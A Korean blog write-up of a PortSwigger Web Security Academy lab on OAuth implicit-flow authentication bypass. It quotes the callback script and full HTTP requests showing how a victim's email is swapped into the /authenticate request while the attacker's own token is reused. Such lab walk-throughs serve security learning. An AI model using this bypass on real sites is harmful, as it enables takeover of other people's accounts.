Portswigger를 통해 알아보는 OAuth 기초문제들

2021. 3. 28. 22:500x0B Web Hacking

728x90

문제 1. Authentication bypass via OAuth implicit flow

키워드: {암묵적인}

 

문제 설명

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the client application makes it possible for an attacker to log in to other users' accounts without knowing their password.

To solve the lab, log in to Carlos's account. His email address is carlos@carlos-montoya.net.

You can log in with your own social media account using the following credentials: wiener:peter.

이 문제의 컨셉트는 소셜미디어로 가장되어 있는 서버 내 또 다른 사이트에 접속하되 다른 사람의 계정으로 접속을 할 수 있는지를 물어보는 문제다. 

 

문제 속에 힌트가 있다. 자 생각해보자. 가령 현 상황이 실제상황이며 계정을 생성하는 권한이 없는 해커일 경우 지금의 취약점을 활용하기란 쉽지 않을 것이다. 

하지만, 문제 상황에는 wiener의 계정이 존재한다. 

 

My account을 클릭하면 이런 로직이 진행되게 된다.

interaction/[이상한문자열] 이 부분이 현 문제에서의 소셜미디어로의 접근을 위한 폼이라고 보면 된다. 

 

로그인 할 수 있는 폼을 발견하면, 대부분 자신도 모르게 SQLI를 시도할 것이다. 이 문제는 SQLI가 되지 않는다. 

 

계정 정보는 POST로 처리하게 되며, 올바른 계정이 접근될 시 아래의 사진과 같은 로직이 동작하게 된다.

나의 경우, 취약한 부분은 /me/authenticate라고 판단하였다.

하지만, /oauth-callback 부터 살펴볼 것이다.

 

올바른 계정 정보를 서버가 쿼리했을 시, /oauth-callback의 Request는 하기에 서술되어 있다.

GET /oauth-callback HTTP/1.1
Host: acd01fd01e7a0eb680d0ee1a00f800d9.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Referer: https://aca31f691e820ef480ffee0902660026.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: en,ko-KR;q=0.9,ko;q=0.8,en-US;q=0.7
Cookie: session=6dqEXOnMEaorzXswQ7QpTJ7N457UOwFK

/oauth-callback 또한 미리 설정 된  Header값들을 다 충족할 경우, Response 부분에서 2가지 fetch를 진행하게 된다.

fetch는 서버로 네트워크 패킷을 보내고, 응답을 받을 수 있게 해주는 JavaScript 구문 중 하나이다. 

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 728

<script>
const urlSearchParams = new URLSearchParams(window.location.hash.substr(1));
const token = urlSearchParams.get('access_token');
fetch('https://aca31f691e820ef480ffee0902660026.web-security-academy.net/me', {
    method: 'GET',
    headers: {
        'Authorization': 'Bearer ' + token,
        'Content-Type': 'application/json'
    }
})
.then(r => r.json())
.then(j => 
    fetch('/authenticate', {
        method: 'POST',
        headers: {
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            email: j.email,
            username: j.sub,
            token: token
        })
    }).then(r => document.location = '/'))
</script>

여기에서 내가 느낀 것은 me에서 Bearer 토큰을 이용하여 올바른 계정인지 검증이 통과 되면, 그 뒤에 나오는 /authenticate 요청에서는 토큰값이 맞았다는 이유 하나만으로, 계정 유무 더블체크를 한번 더 하지않고 /me의 요청을 100% 신뢰하게 되는 구조를 띠고 있다. 

 

즉, 이 문제에서의 취약점은 token이 정상적으로 생성되었으니, 이 계정은 엄청 안전해! 라고 착각하게 되는 거 같다.

서버에게 처음 요청할 때 올바른 계정 정보를 던져주고, 그 이후에 로그오프를 눌러서 세션을 종료시키면, token이 유동적으로 변하니까 안전하다고 생각하는 오해에서 비롯 된 인증 미흡 로직에 관련 된 문제인 것이다. 

 

1회 로그인  시 : MwqIpbNELKD3YsU5Kpy36ppzZ9rHRgTarXStxNt5cR8

2회 로그인 시 : M1oDKZHJiTZZ36t6BKbZmbKr1Kv7dunij1VyBvKv6vO

하지만, /authenticate를 바꾸게 됨으로써 서버는 검증의 나사가 하나 빠진 것에 대해 해커에게 당하게 된다.

 

|1| Original Request

POST /authenticate HTTP/1.1
Host: acd01fd01e7a0eb680d0ee1a00f800d9.web-security-academy.net
Connection: close
Content-Length: 103
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
Accept: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json
Origin: https://acd01fd01e7a0eb680d0ee1a00f800d9.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://acd01fd01e7a0eb680d0ee1a00f800d9.web-security-academy.net/oauth-callback
Accept-Encoding: gzip, deflate
Accept-Language: en,ko-KR;q=0.9,ko;q=0.8,en-US;q=0.7
Cookie: session=k88pT0NcYp7Adfycuz1370T1iaDbTaK7

{"email":"wiener@hotdog.com","username":"wiener","token":"M1oDKZHJiTZZ36t6BKbZmbKr1Kv7dunij1VyBvKv6vO"}

|2| Modify Request

POST /authenticate HTTP/1.1
Host: acd01fd01e7a0eb680d0ee1a00f800d9.web-security-academy.net
Connection: close
Content-Length: 111
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
Accept: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json
Origin: https://acd01fd01e7a0eb680d0ee1a00f800d9.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://acd01fd01e7a0eb680d0ee1a00f800d9.web-security-academy.net/oauth-callback
Accept-Encoding: gzip, deflate
Accept-Language: en,ko-KR;q=0.9,ko;q=0.8,en-US;q=0.7
Cookie: session=k88pT0NcYp7Adfycuz1370T1iaDbTaK7

{"email":"carlos@carlos-montoya.net","username":"wiener","token":"M1oDKZHJiTZZ36t6BKbZmbKr1Kv7dunij1VyBvKv6vO"}

그 결과 메인 페이지로 리다이렉트 된 후 볼 수 있는 Response 값은 다음과 같아지면서, Solved. 

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 9370

'''
                    </div>
                </section>
                <section id="notification-labsolved" class="notification-labsolved-hidden">
                    <div class="container">
                        <h4>Congratulations, you solved the lab!</h4>
                        <div>
                            <a class="button" href="https://twitter.com/intent/tweet?text=I+completed+the+Web+Security+Academy+lab%3a%0aAuthentication+bypass+via+OAuth+implicit+flow%0a%0a@WebSecAcademy%0a&url=https%3a%2f%2fportswigger.net%2fweb-security%2foauth%2flab-oauth-authentication-bypass-via-oauth-implicit-flow&related=WebSecAcademy,Burp_Suite">
  '''
        <div theme="blog">
            <section class="maincontainer">
                <div class="container is-page">
                    <header class="navigation-header">
                        <section class="top-links">
                            <a href=/>Home</a><p>|</p>
                            <a href="/my-account?id=carlos">My account</a><p>|</p>
                            <!-- [+] The id is modified The original account is wiener --> 
                        </section>
                    </header>
                    '''
            </section>
        </div>
    </body>
</html>